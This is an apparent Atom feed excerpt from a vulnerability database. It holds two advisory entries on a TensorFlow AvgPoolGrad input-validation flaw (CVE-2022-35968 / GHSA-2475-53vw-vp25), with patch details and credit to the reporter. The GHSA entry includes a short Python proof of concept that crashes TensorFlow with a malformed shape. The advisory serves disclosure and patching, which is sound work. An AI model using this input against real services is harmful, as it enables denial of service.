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  <updated>2026-10-07T21:21:05.173973+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
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  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2022-35968</id>
    <title>CVE-2022-35968 — `CHECK` fail in `AvgPoolGrad` in TensorFlow</title>
    <updated>2026-10-07T21:21:05.175606+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> tensorflow</p>
<p>TensorFlow is an open source platform for machine learning. The implementation of `AvgPoolGrad` does not fully validate the input `orig_input_shape`. This results in a `CHECK` failure which can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 3a6ac52664c6c095aa2b114e742b0aa17fdce78f. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2022-35968"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-2475-53vw-vp25</id>
    <title>GHSA-2475-53vw-vp25 — TensorFlow vulnerable to `CHECK` fail in `AvgPoolGrad`</title>
    <updated>2026-10-07T21:21:05.175659+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p>
<p>### Impact
The implementation of `AvgPoolGrad` does not fully validate the input `orig_input_shape`. This results in a `CHECK` failure which can be used to trigger a denial of service attack:
```python
import tensorflow as tf</p>
<p>ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "VALID"
data_format = "NHWC"
orig_input_shape = tf.constant(-536870912, shape=[4], dtype=tf.int32)
grad = tf.constant(.0890338004362538, shape=[1,5,7,1], dtype=tf.float64)
tf.raw_ops.AvgPoolGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)
```</p>
<p>### Patches
We have patched the issue in GitHub commit [3a6ac52664c6c095aa2b114e742b0aa17fdce78f](https://github.com/tensorflow/tensorflow/commit/3a6ac52664c6c095aa2b114e742b0aa17fdce78f).</p>
<p>The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.</p>
<p>### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.</p>
<p>### Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.</p></div>
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    <link href="https://cve.radiocsirt.org/vuln/ghsa-2475-53vw-vp25"/>
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